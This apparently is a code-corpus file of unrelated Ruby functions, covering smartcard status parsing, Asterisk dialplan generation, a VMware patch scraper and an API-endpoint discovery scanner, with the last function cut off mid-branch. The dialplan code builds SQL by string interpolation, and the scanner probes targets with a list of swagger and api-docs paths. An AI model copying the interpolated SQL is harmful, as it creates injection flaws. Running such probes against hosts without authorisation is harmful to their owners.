"def gp_get_status(scope, query_aid = [])\n scope_byte = { :issuer_sd => 0x80, :apps => 0x40, :files => 0x20,\n :files_modules => 0x10 }[scope]\n data = Asn1Ber.encode [{:class => :application, :primitive => true,\n :number => 0x0F, :value => query_aid}]\n apps = [] \n first = true # Set to false after the first GET STATUS is issued.\n loop do\n raw = iso_apdu :cla => 0x80, :ins => 0xF2, :p1 => scope_byte,\n :p2 => (first ? 0 : 1), :data => [0x4F, 0x00]\n if raw[:status] != 0x9000 && raw[:status] != 0x6310 \n raise Smartcard::Iso::ApduException, raw\n end\n \n offset = 0\n loop do\n break if offset >= raw[:data].length\n aid_length, offset = raw[:data][offset], offset + 1\n app = { :aid => raw[:data][offset, aid_length] }\n offset += aid_length\n \n if scope == :issuer_sd\n lc_states = { 1 => :op_ready, 7 => :initialized, 0x0F => :secured,\n 0x7F => :card_locked, 0xFF => :terminated }\n lc_mask = 0xFF\n else\n lc_states = { 1 => :loaded, 3 => :installed, 7 => :selectable,\n 0x83 => :locked, 0x87 => :locked }\n lc_mask = 0x87\n end\n app[:lifecycle] = lc_states[raw[:data][offset] & lc_mask]\n\n permission_bits = raw[:data][offset + 1]\n app[:permissions] = Set.new()\n [[1, :mandated_dap], [2, :cvm_management], [4, :card_reset],\n [8, :card_terminate], [0x10, :card_lock], [0x80, :security_domain],\n [0xA0, :delegate], [0xC0, :dap_verification]].each do |mask, perm|\n app[:permissions] << perm if (permission_bits & mask) == mask\n end\n offset += 2\n \n if scope == :files_modules\n num_modules, offset = raw[:data][offset], offset + 1\n app[:modules] = []\n num_modules.times do\n aid_length = raw[:data][offset]\n app[:modules] << { :aid => raw[:data][offset + 1, aid_length] }\n offset += 1 + aid_length \n end\n end\n \n apps << app\n end\n break if raw[:status] == 0x9000\n first = false # Need more GET STATUS commands.\n end\n apps\n end",
"def update_resource_automation_parameters\n installed_component = InstalledComponent.find(params[:resource_installed_component_id]) if params[:resource_installed_component_id].present?\n old_installed_component_id = params[:resource_old_installed_component_id] || nil\n\n if params[:resource_step_id].present?\n step = Step.find(params[:resource_step_id])\n else\n # This means step object is a new record\n @request = Request.find(params[:resource_request_id]) if params[:resource_request_id].present?\n if @request.present?\n step = @request.steps.build\n step.component_id = params[:resource_component_id]\n step.installed_component_id = params[:resource_installed_component_id]\n step.script_id = params[:resource_script_id]\n step.script_type = params[:resource_script_type]\n step.owner = params[:resource_step_owner_type].constantize.find_by_id(params[:resource_step_owner_id]) unless params[:resource_step_owner_type].blank?\n end\n end\n script = Script.find(params[:resource_script_id])\n old_installed_component_hash = old_installed_component_id.nil? ? nil : {:old_installed_component_id => old_installed_component_id}\n argument_values = step.present? ? step.script_argument_values_display(old_installed_component_hash) : nil\n if request.xhr?\n arg_hsh = {}\n script.arguments.each do |argument|\n if argument.external_resource.present?\n new_argument_value = argument_values[argument.id][\"value\"] rescue nil\n ss = view_context.script_argument_value_input_display(step, argument, installed_component, new_argument_value, true)\n arg_hsh[argument.id] = ss\n end\n end\n render :json => arg_hsh.to_json\n end\n end",
"def prepare_register_response_for(req, meth, err)\r\n env, hdrs = req[ENVIRONMENT_KEY], req[HEADERS_KEY]\r\n out = []\r\n out << \"#{env[(GNTP_PROTOCOL_KEY)]}\" + \r\n \"/#{env[(GNTP_VERSION_KEY)]} \"+\r\n \"#{meth} \"+\r\n \"#{env[(GNTP_ENCRYPTION_ID_KEY)]}\"\r\n out << \"#{GNTP_RESPONSE_ACTION_KEY}: #{GNTP_REGISTER_METHOD}\"\r\n if meth == GNTP_ERROR_RESPONSE\r\n out << \"#{GNTP_ERROR_CODE_KEY}: #{err}\"\r\n out << \"Error-Description: An error occurred\"\r\n end\r\n out << nil\r\n out << nil\r\n out << nil\r\n puts \"SERVER: Prepared REGISTER response: #{meth}, #{err}\"\r\n @response = out.join(\"\\r\\n\")\r\n end",
"def configure_extensions(device_id, options = {})\n @device = Device.where(:id => device_id).first\n\n return if !@device || device_id == 0\n\n default_context = \"mor_local\"\n default_app = \"Dial\"\n\n busy_extension = 201\n no_answer_extension = 401\n chanunavail_extension = 301\n\n\n @user = User.where(:id => @device.user_id).first if @device.user_id.to_i > -1\n\n user_id = 0\n user_id = @device.user_id if @user\n\n timeout = @device.timeout\n\n if @device\n #delete old config\n #Extline.destroy_all [\"device_id = ?\", device_id]\n ActiveRecord::Base.connection.delete(\"DELETE `extlines`.* FROM `extlines` WHERE `extlines`.`device_id` = #{device_id}\")\n\n i = 1\n\n\n #configuring for incoming calls for extension\n\n # set custom userfield - no use for it now\n #Extension.mcreate(default_context, i, \"Set\", \"CDR(userfield)=\" + @conn.extension, conn_type, conn_id)\n #i += 1\n\n # blocked numbers\n\n #\t\t\tfor bn in @device.blocked_numbers\n #\t\t\t\tExtline.mcreate(default_context, i, \"GotoIf\", \"$[\\\"${CALLERIDNUM}\\\" = \\\"\" + bn.number + \"\\\"]?\"+busy_ext.to_s, device_id)\n #\t\t\t\ti += 1\n #\t\t\tend\n\n # Handling BUSY from DID limited calls\n Extline.mcreate(default_context, i, \"NoOp\", \"${MOR_MAKE_BUSY}\", @device.extension, device_id)\n i+=1\n Extline.mcreate(default_context, i, \"GotoIf\", \"$[\\\"${MOR_MAKE_BUSY}\\\" = \\\"1\\\"]?201\", @device.extension, device_id)\n i+=1\n\n # Handling transfers\n Extline.mcreate(default_context, i, \"GotoIf\", \"$[${LEN(${CALLED_TO})} > 0]?\" + (i+1).to_s + \":\" + (i+3).to_s, @device.extension, device_id)\n i+=1\n Extline.mcreate(default_context, i, \"Set\", \"CALLERID(NAME)=${CALLED_TO}\", @device.extension, device_id)\n #Extline.mcreate(default_context, i, \"NoOp\", \"CALLERID(NAME)=TRANSFER FROM ${CALLED_TO}\", @device.extension, device_id)\n i+=1\n Extline.mcreate(default_context, i, \"Goto\", @device.extension.to_s + \"|\" + (i+2).to_s, @device.extension, device_id)\n i+=1\n Extline.mcreate(default_context, i, \"Set\", \"CALLED_TO=${EXTEN}\", @device.extension, device_id)\n i+=1\n\n\n #====================== B E F O R E C A L L ======================\n before_call_cfs = Callflow.where(\"cf_type = 'before_call' AND device_id = #{@device.id}\").order(\"priority ASC\")\n for cf in before_call_cfs\n\n case cf.action\n when \"forward\"\n\n # --------- start forward callerid change ------------\n\n case cf.data3\n when 1\n forward_callerid = cid_number(@device.callerid)\n when 2\n forward_callerid = \"\"\n when 3\n found_did = Did.where(:id => cf.data4).first\n forward_callerid = found_did.did if found_did\n when 4\n forward_callerid = cf.data4\n end\n\n if cf.data3 != 2 and forward_callerid.to_s.length > 0 #callerid does not changes\n Extline.mcreate(default_context, i, \"Set\", \"CALLERID(num)=#{forward_callerid}\", @device.extension, device_id)\n i+=1\n end\n\n # --------- end forward callerid change ------------\n\n case cf.data2\n when \"local\"\n dev = Device.where(:id => cf.data).first\n if dev\n Extline.mcreate(default_context, i, \"Goto\", \"#{dev.extension}|1\", @device.extension, device_id)\n i+=1\n end\n when \"external\"\n Extline.mcreate(default_context, i, \"Set\", \"CDR(ACCOUNTCODE)=#{device_id}\", @device.extension, device_id)\n i+=1\n Extline.mcreate(default_context, i, \"Goto\", \"mor|#{cf.data}|1\", @device.extension, device_id)\n i+=1\n end #case cf.data2\n\n when \"voicemail\"\n\n Extline.mcreate(default_context, i, \"Set\", 'MOR_VM=', @device.extension, device_id)\n i += 1\n Extline.mcreate(default_context, i, \"Goto\", 'mor_voicemail|${EXTEN}|1', @device.extension, device_id)\n i += 1\n\n when \"fax_detect\"\n\n if cf.data.to_i > 0\n\n from_sender = Confline.get_value(\"Email_Fax_From_Sender\")\n\n Extline.mcreate(default_context, i, \"Set\", \"FROM_SENDER=#{from_sender}\", @device.extension, device_id)\n i += 1\n Extline.mcreate(default_context, i, \"Set\", \"MOR_FAX_ID=#{cf.data}\", @device.extension, device_id)\n i += 1\n Extline.mcreate(default_context, i, \"Set\", \"FAXSENDER=${CALLERID(number)}\", @device.extension, device_id)\n i += 1\n Extline.mcreate(default_context, i, \"Answer\", \"\", @device.extension, device_id)\n i += 1\n Extline.mcreate(default_context, i, \"Playtones\", \"ring\", @device.extension, device_id)\n i += 1\n Extline.mcreate(default_context, i, \"NVFaxDetect\", \"4\", @device.extension, device_id)\n i += 1\n Extline.mcreate(default_context, i, \"StopPlaytones\", \"\", @device.extension, device_id)\n i += 1\n Extline.mcreate(default_context, i, \"ResetCDR\", \"\", @device.extension, device_id)\n i += 1\n end\n\n\n end #case cf.action\n\n end\n #=========================================================\n\n if @device.device_type != \"FAX\"\n\n # forward\n #if @device.forward_to != 0\n #if @fwd_extension = Device.find(@device.forward_to).extension\n # Extline.mcreate(default_context, i, \"Goto\", @fwd_extension.to_s+\"|1\", @device.extension, device_id)\n # i+=1\n #end\n #end\n\n # recordings\n\n Extline.mcreate(default_context, i, \"NoOp\", \"MOR starts\", @device.extension, device_id)\n i += 1\n\n # Handling CALLERID NAME\n Extline.mcreate(default_context, i, \"GotoIf\", \"$[${LEN(${CALLERID(NAME)})} > 0]?\" + (i+3).to_s + \":\" + (i+1).to_s, @device.extension, device_id)\n i+=1\n Extline.mcreate(default_context, i, \"GotoIf\", \"$[${LEN(${mor_cid_name})} > 0]?\" + (i+1).to_s + \":\" + (i+2).to_s, @device.extension, device_id)\n i+=1\n Extline.mcreate(default_context, i, \"Set\", \"CALLERID(NAME)=${mor_cid_name}\", @device.extension, device_id)\n i+=1\n\n\n # handling CallerID by ANI (if available)\n if @device.use_ani_for_cli == true\n Extline.mcreate(default_context, i, \"GotoIf\", \"$[${LEN(${CALLERID(ANI)})} > 0]?\" + (i+1).to_s + \":\" + (i+2).to_s, @device.extension, device_id)\n i+=1\n Extline.mcreate(default_context, i, \"Set\", \"CALLERID(NUM)=${CALLERID(ANI)}\", @device.extension, device_id)\n i+=1\n end\n\n\n #handling calleridpres\n if @device.calleridpres.to_s.length > 0\n if ast_18?\n Extline.mcreate(default_context, i, \"Set\", \"CALLERID(name-pres)=#{@device.calleridpres.to_s}\", @device.extension, device_id)\n i+=1\n Extline.mcreate(default_context, i, \"Set\", \"CALLERID(num-pres)=#{@device.calleridpres.to_s}\", @device.extension, device_id)\n else\n Extline.mcreate(default_context, i, \"SetCallerPres\", @device.calleridpres.to_s, @device.extension, device_id)\n end\n i+=1\n end\n\n\n # normal path\n\n # SIP Proxy support\n if ccl_active? and @device.device_type.to_s == \"SIP\" and @device.host.to_s == \"dynamic\"\n\n sip_proxy = Server.where('server_type = \"sip_proxy\"').first\n if sip_proxy\n Extline.mcreate(default_context, i, default_app, \"SIP/mor_server_\" + sip_proxy.server_id.to_s + \"/\" + @device.name + \",\" + @device.timeout.to_s, @device.extension, device_id)\n end\n\n else\n\n # normal call-flow without sip-proxy\n # Trunk support\n trunk = \"\"\n if @device.istrunk == 1\n Extline.mcreate(default_context, i, \"GotoIf\", \"$[${LEN(${MOR_DID})} > 0]?\" + \"#{i+1}:#{i+3}\", @device.extension, device_id)\n i += 1\n Extline.mcreate(default_context, i, default_app, @device.device_type + \"/\" + @device.name + \"/${MOR_DID}|#{timeout.to_s}|il\", @device.extension, device_id)\n i += 1\n Extline.mcreate(default_context, i, \"Goto\", \"#{i+2}\", @device.extension, device_id)\n i += 1\n trunk = \"/${EXTEN}\"\n end\n # end trunk support\n Extline.mcreate(default_context, i, default_app, @device.device_type + \"/\" + @device.name + trunk + \"|#{timeout.to_s}|il\", @device.extension, device_id) #il disables transfers\n\n end # sip proxy support\n\n\n busy_ext = 200 + i\n i += 1\n Extline.mcreate(default_context, i, \"GotoIf\", \"$[$[\\\"${DIALSTATUS}\\\" = \\\"CHANUNAVAIL\\\"]|$[\\\"${DIALSTATUS}\\\" = \\\"CONGESTION\\\"]]?\" + chanunavail_extension.to_s, @device.extension, device_id)\n i += 1\n Extline.mcreate(default_context, i, \"GotoIf\", \"$[\\\"${DIALSTATUS}\\\" = \\\"BUSY\\\"]?\" + busy_extension.to_s, @device.extension, device_id)\n i += 1\n Extline.mcreate(default_context, i, \"GotoIf\", \"$[\\\"${DIALSTATUS}\\\" = \\\"NOANSWER\\\"]?\" + no_answer_extension.to_s, @device.extension, device_id)\n\n i += 1\n Extline.mcreate(default_context, i, \"Hangup\", \"\", @device.extension, device_id)\n\n else\n\n #fax2email\n\n Extline.mcreate(default_context, i, \"Set\", \"MOR_FAX_ID=#{@device.id}\", @device.extension, device_id)\n i += 1\n Extline.mcreate(default_context, i, \"Set\", \"FAXSENDER=${CALLERID(number)}\", @device.extension, device_id)\n i += 1\n Extline.mcreate(default_context, i, \"Goto\", \"mor_fax2email|${EXTEN}|1\", @device.extension, device_id)\n i += 1\n\n end\n\n #====================== N O A N S W E R ======================\n i = no_answer_extension\n\n Extline.mcreate(default_context, i, \"NoOp\", \"NO ANSWER\", @device.extension, device_id)\n i+=1\n\n no_answer_cfs = Callflow.where(\"cf_type = 'no_answer' AND device_id = #{@device.id}\").order(\"priority ASC\")\n for cf in no_answer_cfs\n\n case cf.action\n when \"forward\"\n\n # --------- start forward callerid change ------------\n\n case cf.data3\n when 1\n forward_callerid = cid_number(@device.callerid)\n when 2\n forward_callerid = \"\"\n when 3\n forward_callerid = Did.where(:id => cf.data4).first.did\n when 4\n forward_callerid = cf.data4\n end\n\n if cf.data3 != 2 and forward_callerid.to_s.length > 0 #callerid does not changes\n Extline.mcreate(default_context, i, \"Set\", \"CALLERID(num)=#{forward_callerid}\", @device.extension, device_id)\n i+=1\n end\n\n # --------- end forward callerid change ------------\n\n case cf.data2\n when \"local\"\n dev = Device.where(:id => cf.data).first\n if dev\n Extline.mcreate(default_context, i, \"Goto\", \"#{dev.extension}|1\", @device.extension, device_id)\n i+=1\n end\n when \"external\"\n Extline.mcreate(default_context, i, \"Set\", \"CDR(ACCOUNTCODE)=#{device_id}\", @device.extension, device_id)\n i+=1\n Extline.mcreate(default_context, i, \"Goto\", \"mor|#{cf.data}|1\", @device.extension, device_id)\n i+=1\n when \"\"\n Extline.mcreate(default_context, i, \"Hangup\", \"\", @device.extension, device_id)\n end #case cf.data2\n\n when \"voicemail\"\n #\t\t\t\t Extline.mcreate(default_context, i, \"Voicemail\", @device.extension.to_s + \"|u\", @device.extension, device_id)\n # i+=1\n #\t\t\t Extline.mcreate(default_context, i, \"Hangup\", \"\", @device.extension, device_id)\n\n Extline.mcreate(default_context, i, \"Set\", 'MOR_VM=\"u\"', @device.extension, device_id)\n i += 1\n Extline.mcreate(default_context, i, \"Goto\", 'mor_voicemail|${EXTEN}|1', @device.extension, device_id)\n i += 1\n\n when \"empty\"\n Extline.mcreate(default_context, i, \"Hangup\", \"\", @device.extension, device_id)\n end #case cf.action\n\n end\n\n if no_answer_cfs.empty?\n Extline.mcreate(default_context, i, \"Hangup\", \"\", @device.extension, device_id)\n end\n #=========================================================\n\n\n #====================== B U S Y ======================\n i = busy_extension\n\n Extline.mcreate(default_context, i, \"NoOp\", \"BUSY\", @device.extension, device_id)\n i+=1\n\n busy_cfs = Callflow.where([\"cf_type = 'busy' AND device_id = ?\", @device.id]).order(\"priority ASC\")\n for cf in busy_cfs\n\n case cf.action\n when \"forward\"\n\n # --------- start forward callerid change ------------\n\n case cf.data3\n when 1\n forward_callerid = cid_number(@device.callerid)\n when 2\n forward_callerid = \"\"\n when 3\n forward_callerid = Did.where(:id => cf.data4).first.did\n when 4\n forward_callerid = cf.data4\n end\n\n if cf.data3 != 2 and forward_callerid.to_s.length > 0 #callerid does not changes\n Extline.mcreate(default_context, i, \"Set\", \"CALLERID(num)=#{forward_callerid}\", @device.extension, device_id)\n i+=1\n end\n\n # --------- end forward callerid change ------------\n\n case cf.data2\n when \"local\"\n dev = Device.where(:id => cf.data).first\n if dev\n Extline.mcreate(default_context, i, \"Goto\", \"#{dev.extension}|1\", @device.extension, device_id)\n i+=1\n end\n when \"external\"\n Extline.mcreate(default_context, i, \"Set\", \"CDR(ACCOUNTCODE)=#{device_id}\", @device.extension, device_id)\n i+=1\n Extline.mcreate(default_context, i, \"Goto\", \"mor|#{cf.data}|1\", @device.extension, device_id)\n i+=1\n when \"\"\n\n Extline.mcreate(default_context, i, \"GotoIf\", \"${LEN(${MOR_CALL_FROM_DID}) = 1}?#{i + 1}:mor|BUSY|1\", @device.extension, device_id)\n i += 1\n Extline.mcreate(default_context, i, \"Busy\", \"10\", @device.extension, device_id)\n i += 1\n\n end #case cf.data2\n\n when \"voicemail\"\n #\t\t\t\t Extline.mcreate(default_context, i, \"Voicemail\", @device.extension.to_s + \"|b\", @device.extension, device_id)\n # i+=1\n #\t\t\t Extline.mcreate(default_context, i, \"Hangup\", \"\", @device.extension, device_id)\n #\t\t\t i += 1\n\n Extline.mcreate(default_context, i, \"Set\", 'MOR_VM=\"b\"', @device.extension, device_id)\n i += 1\n Extline.mcreate(default_context, i, \"Goto\", 'mor_voicemail|${EXTEN}|1', @device.extension, device_id)\n i += 1\n\n when \"empty\"\n\n Extline.mcreate(default_context, i, \"GotoIf\", \"${LEN(${MOR_CALL_FROM_DID}) = 1}?#{i + 1}:mor|BUSY|1\", @device.extension, device_id)\n i += 1\n Extline.mcreate(default_context, i, \"Busy\", \"10\", @device.extension, device_id)\n i += 1\n\n end #case cf.action\n\n end\n\n if busy_cfs.empty?\n\n Extline.mcreate(default_context, i, \"GotoIf\", \"${LEN(${MOR_CALL_FROM_DID}) = 1}?#{i + 1}:mor|BUSY|1\", @device.extension, device_id)\n i += 1\n Extline.mcreate(default_context, i, \"Busy\", \"10\", @device.extension, device_id)\n i += 1\n end\n #=========================================================\n\n\n #====================== F A I L E D ======================\n i = chanunavail_extension\n\n Extline.mcreate(default_context, i, \"NoOp\", \"FAILED\", @device.extension, device_id)\n i+=1\n\n failed_cfs = Callflow.where([\"cf_type = 'failed' AND device_id = ?\",@device.id]).order(\"priority ASC\")\n for cf in failed_cfs\n\n case cf.action\n when \"forward\"\n\n # --------- start forward callerid change ------------\n\n case cf.data3\n when 1\n forward_callerid = cid_number(@device.callerid)\n when 2\n forward_callerid = \"\"\n when 3\n forward_callerid = Did.where(:id => cf.data4).first.did\n when 4\n forward_callerid = cf.data4\n end\n\n if cf.data3 != 2 #callerid does not changes\n Extline.mcreate(default_context, i, \"Set\", \"CALLERID(num)=#{forward_callerid}\", @device.extension, device_id)\n i+=1\n end\n\n # --------- end forward callerid change ------------\n\n case cf.data2\n when \"local\"\n dev = Device.where(:id => cf.data).first\n if dev\n Extline.mcreate(default_context, i, \"Goto\", \"#{dev.extension}|1\", @device.extension, device_id)\n i+=1\n end\n when \"external\"\n Extline.mcreate(default_context, i, \"Set\", \"CDR(ACCOUNTCODE)=#{device_id}\", @device.extension, device_id)\n i+=1\n Extline.mcreate(default_context, i, \"Goto\", \"mor|#{cf.data}|1\", @device.extension, device_id)\n i+=1\n when \"\"\n Extline.mcreate(default_context, i, \"GotoIf\", \"${LEN(${MOR_CALL_FROM_DID}) = 1}?#{i + 1}:mor|FAILED|1\", @device.extension, device_id)\n i += 1\n Extline.mcreate(default_context, i, \"Congestion\", \"4\", @device.extension, device_id)\n i += 1\n end #case cf.data2\n\n when \"voicemail\"\n #\t\t\t\t Extline.mcreate(default_context, i, \"Voicemail\", @device.extension.to_s + \"|u\", @device.extension, device_id)\n # i+=1\n #\t\t\t Extline.mcreate(default_context, i, \"Hangup\", \"\", @device.extension, device_id)\n #\t\t\t i += 1\n\n Extline.mcreate(default_context, i, \"Set\", 'MOR_VM=\"u\"', @device.extension, device_id)\n i += 1\n Extline.mcreate(default_context, i, \"Goto\", 'mor_voicemail|${EXTEN}|1', @device.extension, device_id)\n i += 1\n\n when \"empty\"\n\n Extline.mcreate(default_context, i, \"GotoIf\", \"${LEN(${MOR_CALL_FROM_DID}) = 1}?#{i + 1}:mor|FAILED|1\", @device.extension, device_id)\n i += 1\n Extline.mcreate(default_context, i, \"Congestion\", \"4\", @device.extension, device_id)\n i += 1\n\n end #case cf.action\n\n end\n\n if failed_cfs.empty?\n Extline.mcreate(default_context, i, \"GotoIf\", \"${LEN(${MOR_CALL_FROM_DID}) = 1}?#{i + 1}:mor|FAILED|1\", @device.extension, device_id)\n i += 1\n Extline.mcreate(default_context, i, \"Congestion\", \"4\", @device.extension, device_id)\n i += 1\n end\n #=========================================================\n\n\n # check devices login status\n\n dev = @device\n\n\n begin\n if dev.device_type == \"SIP\" or dev.device_type == \"IAX2\"\n exception_array = @device.prune_device_in_all_servers\n raise \"Server_problems\" if exception_array.size > 0\n end\n\n if dev.device_type == \"H323\"\n for server in Server.all\n server.ami_cmd('h323 reload')\n server.ami_cmd('extensions reload')\n end\n end\n Action.add_action_hash(options[:current_user], {:action => 'Device sent to Asterisk', :target_id => @device.id, :target_type => \"device\", :data => @device.user_id})\n rescue Exception => e\n MorLog.my_debug _('Cannot_connect_to_asterisk_server')\n Action.add_action_hash(options[:current_user], {:action => 'error', :data2 => \"Cannot_connect_to_asterisk_server\", :target_id => @device.id, :target_type => \"device\", :data => @device.user_id, :data3 => e.class.to_s, :data4 => e.message.to_s})\n if session[:usertype] == \"admin\" and !options[:no_redirect]\n flash_help_link = \"http://wiki.kolmisoft.com/index.php/GUI_Error_-_SystemExit\"\n flash[:notice] = _('Cannot_connect_to_asterisk_server')\n flash[:notice] += \"<a href='#{flash_help_link}' target='_blank'><img alt='Help' src='#{Web_Dir}/assets/icons/help.png' title='#{_('Help')}' /> #{_('Click_here_for_more_info')}</a>\" if flash_help_link\n if options[:api].to_i == 0\n redirect_to :controller => \"callc\", :action => \"main\" and return false\n else\n return false\n end\n end\n\n end\n end #if device\n return true\n end",
"def get_vmware_patch_info(login_url,product_url,username,password,release)\n update_list = {}\n update = \"\"\n options = Selenium::WebDriver::Firefox::Options.new\n options.add_argument('--headless')\n driver = Selenium::WebDriver.for :firefox\n driver.get(login_url)\n driver.find_element(:id => \"username\").send_keys(username)\n driver.find_element(:id => \"password\").send_keys(password)\n driver.find_element(:id => \"button-login\").click\n driver.get(product_url)\n driver.find_element(:name => \"product\").find_element(:css,\"option[value='ESXi (Embedded and Installable)']\").click\n driver.find_element(:name => \"product\").find_element(:css,\"option[value='ESXi (Embedded and Installable)']\").click\n driver.find_element(:name => \"product\").find_element(:css,\"option[value='ESXi (Embedded and Installable)']\").click\n driver.find_element(:name => \"version\").send_keys(release)\n driver.find_element(:name => \"version\").send_keys(release)\n driver.find_element(:xpath,\"//*[@src='/patchmgr/resources/images/support_search_button.gif']\").click\n page = driver.page_source\n page = Nokogiri::HTML.parse(page)\n info = page.css(\"span\").css(\"input\")\n info.each do |download|\n value = download[\"value\"]\n if !value.match(/http/)\n update = value\n else\n if value.match(/ESX/)\n update_list[update] = value\n end\n end\n end\n return update_list\nend",
"def energyPlusOutputRequests(runner, user_arguments)\n super(runner, user_arguments)\n\n result = OpenStudio::IdfObjectVector.new\n\n # Add output requests (consider adding to case hash instead of adding logic here)\n # this gather any non standard output requests. Analysis of output such as binning temps for FF will occur in reporting measure\n # Table 6-1 describes the specific day of results that will be used for testing\n hourly_variables = []\n\n # variables for all HE cases\n hourly_variables << 'Site Outdoor Air Drybulb Temperature'\n hourly_variables << 'Site Outdoor Air Wetbulb Temperature'\n hourly_variables << 'Site Outdoor Air Dewpoint Temperature'\n hourly_variables << 'Site Outdoor Air Enthalpy'\n hourly_variables << 'Site Outdoor Air Humidity Ratio'\n hourly_variables << 'Site Outdoor Air Relative Humidity'\n hourly_variables << 'Site Outdoor Air Density'\n hourly_variables << 'Site Outdoor Air Barometric Pressure'\n hourly_variables << 'Site Wind Speed'\n hourly_variables << 'Site Direct Solar Radiation Rate per Area'\n hourly_variables << 'Site Diffuse Solar Radiation Rate per Area'\n hourly_variables << 'Zone Mean Air Temperature'\n hourly_variables << 'Zone Air System Sensible Heating Energy'\n hourly_variables << 'Zone Air System Sensible Cooling Energy'\n hourly_variables << 'Zone Air Temperature,Hourly'\n hourly_variables << 'Zone Air Humidity Ratio'\n hourly_variables << 'Surface Inside face Temperature'\n hourly_variables << 'Surface Outside face Temperature'\n hourly_variables << 'Surface Inside Face Convection Heat Transfer Coefficient'\n hourly_variables << 'Surface Outside Face Convection Heat Transfer Coefficient'\n hourly_variables << 'Zone Air System Sensible Heating Energy'\n hourly_variables << 'Zone Air System Sensible Cooling Energy'\n hourly_variables << 'Zone Air Temperature'\n hourly_variables << 'Zone Total Internal Latent Gain Energy'\n hourly_variables << 'Zone Air Humidity Ratio'\n hourly_variables << 'Fan Electric Power'\n hourly_variables << 'Fan Rise in Air Temperature'\n hourly_variables << 'Fan Electric Energy'\n hourly_variables << 'Heating Coil Air Heating Energy'\n hourly_variables << 'Heating Coil Air Heating Rate'\n hourly_variables << 'Heating Coil Gas Energy'\n hourly_variables << 'Heating Coil Gas Rate'\n hourly_variables << 'Fan Runtime Fraction'\n hourly_variables << 'System Node Temperature'\n hourly_variables << 'System Node Mass Flow Rate'\n\n # parasitic heating coil output that represents draft fan\n hourly_variables << 'Heating Coil Electric Power'\n\n hourly_variables.each do |variable|\n result << OpenStudio::IdfObject.load(\"Output:Variable,,#{variable},hourly;\").get\n end\n\n result\n\n end",
"def connection_status_server; end",
"def modules\n raise CapabilitiesExceeded\n end",
"def run\n super\n\n # start with negative\n api_endpoint = nil\n api_reason = nil\n\n require_enrichment\n\n # get our url\n url = _get_entity_name\n\n ###\n # First just check our fingerprint, lots of stuff will already have been\n # fingerprinted during our ident run\n ###\n (_get_entity_detail(\"fingerprint\") || []).each do |fp|\n api_endpoint = true if fp[\"tags\"] && fp[\"tags\"].include?(\"API\")\n api_reason = \"fingerprint\"\n end\n\n # first get a standard response\n standard_response = http_request :get, url\n return unless standard_response\n\n ####\n # next just check keywords in the url, but of course, sanity check this.\n ###\n if ( url.match(/api\\./) ||\n url.match(/apis\\./) ||\n url.match(/\\/api/) ||\n url.match(/\\/json/) ||\n url.match(/\\.json/) ||\n url.match(/\\.xml/) ||\n url.match(/skiptoken/) ||\n url.match(/\\/restapis/) )\n\n unless (\n url.match(/googleapis/) ||\n url.match(/\\.amazonaws\\.com/) ||\n standard_response.body_utf8.match(/^<HTML>/i) ||\n standard_response.body_utf8.match(/HTTP Status 404/i) ||\n standard_response.body_utf8.match(/NoSuchBucket/i) ) \n api_endpoint = true\n api_reason = \"url\"\n end\n\n end\n\n ###\n ### If we made it this far, and our base url matches, just return that\n if api_endpoint\n _create_api_endpoint(url, url, api_reason)\n return # return if our base URL was an endpoint\n end\n\n ####\n # otherwise check patterns in / around the original\n ####\n\n # always start empty\n api_endpoint = nil\n\n [\n \"#{url}\",\n \"#{url}/api\",\n \"#{url}/api/v1\",\n \"#{url}/api/v2\",\n \"#{url}/api/v3\",\n \"#{url}/docs\",\n \"#{url}/graphql\",\n \"#{url}/api-docs\",\n \"#{url}/api-docs/swagger.json\",\n \"#{url}/api/swagger\",\n \"#{url}/api/swagger-ui.html\",\n \"#{url}/api/swagger.yml\",\n \"#{url}/api/v2/swagger.json\",\n \"#{url}/apidocs\",\n \"#{url}/apidocs/swagger.json\",\n \"#{url}/rest\",\n \"#{url}/swagger\",\n \"#{url}/swagger/\",\n \"#{url}/swagger-resources\",\n \"#{url}/swagger-ui\",\n \"#{url}/swagger-ui.html\",\n \"#{url}/swagger.json\",\n \"#{url}/swagger/index.html\",\n \"#{url}/swagger/swagger-ui.html\",\n \"#{url}/swagger/ui/index\",\n \"#{url}/swagger/v1/swagger.json\",\n \"#{url}/v1/swagger.json\"\n ].each do |u|\n\n _log \"Checking... #{u}\"\n\n # Go ahead and get the response for this paritcular endpoint\n\n response = http_request :get, u\n\n next unless response\n # skip if we're not the original url, but we're getting the same response\n\n next if u != url && response.body_utf8 == standard_response.body_utf8\n\n ###\n ### Check for known strings\n ###\n if (response.body_utf8.match(/swagger-section/) ||\n response.body_utf8.match(/swaggerhub.com/) ||\n response.body_utf8.match(/soapenv:Envelope/) )\n # break and create it\n api_reason = \"response_body\"\n api_endpoint = u\n break\n end\n\n # check for content type of application.. note that this will flag\n # application/javascript, which is probably not wanted\n headers = standard_response.headers\n if headers\n ct = headers.find{|x, y| x if x =~ /^content-type/i }\n if ct\n api_endpoint = u if \"#{headers[ct]}\".match(/^application\\/xml/i)\n api_endpoint = u if \"#{headers[ct]}\".match(/^application\\/json/i)\n api_endpoint = u if \"#{headers[ct]}\".match(/^application\\/ld+json/i)\n api_endpoint = u if \"#{headers[ct]}\".match(/^application\\/x-protobuf/i)\n api_endpoint = u if \"#{headers[ct]}\".match(/^application\\/octet-stream/i)\n api_endpoint = u if \"#{headers[ct]}\".match(/^text\\/csv/i)\n\n # break and create it\n if api_endpoint\n api_reason = \"content_type\"\n break\n end\n\n end\n end\n\n ###\n # try to parse it (JSON)\n ###\n begin\n # get request body\n body = standard_response.body_utf8\n if body\n json = JSON.parse(body)\n\n if json\n # now check for common error scenarios, and proceed if we pass\n break if json.kind_of?(Hash) && \n ((standard_response.code == \"404\" && json[\"error\"] == \"Not Found\") ||\n (standard_response.code == \"404\" && json[\"response\"] == \"Content was not found.\"))\n \n # create it as an api endpoint\n api_endpoint = u\n api_reason = \"json_body\"\n break\n end\n\n end\n rescue JSON::ParserError\n _log \"No body!\"\n end\n\n # check known fingeprints\n _log \"Attempting to fingerprint (without the browser)!\"\n ident_matches = generate_http_requests_and_check(u,{:enable_browser => false, :'only-check-base-url' => true}) || {}\n ident_fingerprints = ident_matches[\"fingerprint\"] || []\n ident_fingerprints.each do |fp|\n api_endpoint = u if fp[\"tags\"] && fp[\"tags\"].include?(\"API\")\n # break if it's been set so we dont genereate a bunch of FP's\n if api_endpoint\n api_reason = \"fingerprint\"\n break\n end\n end\n end\n\n ###\n ### Okay now that we're at the end, do we have an endpoint?!?\n ###\n\n # set the details and create a new entity if we made it this far!\n if api_endpoint\n _create_api_endpoint(url, api_endpoint, api_reason)\n else\n 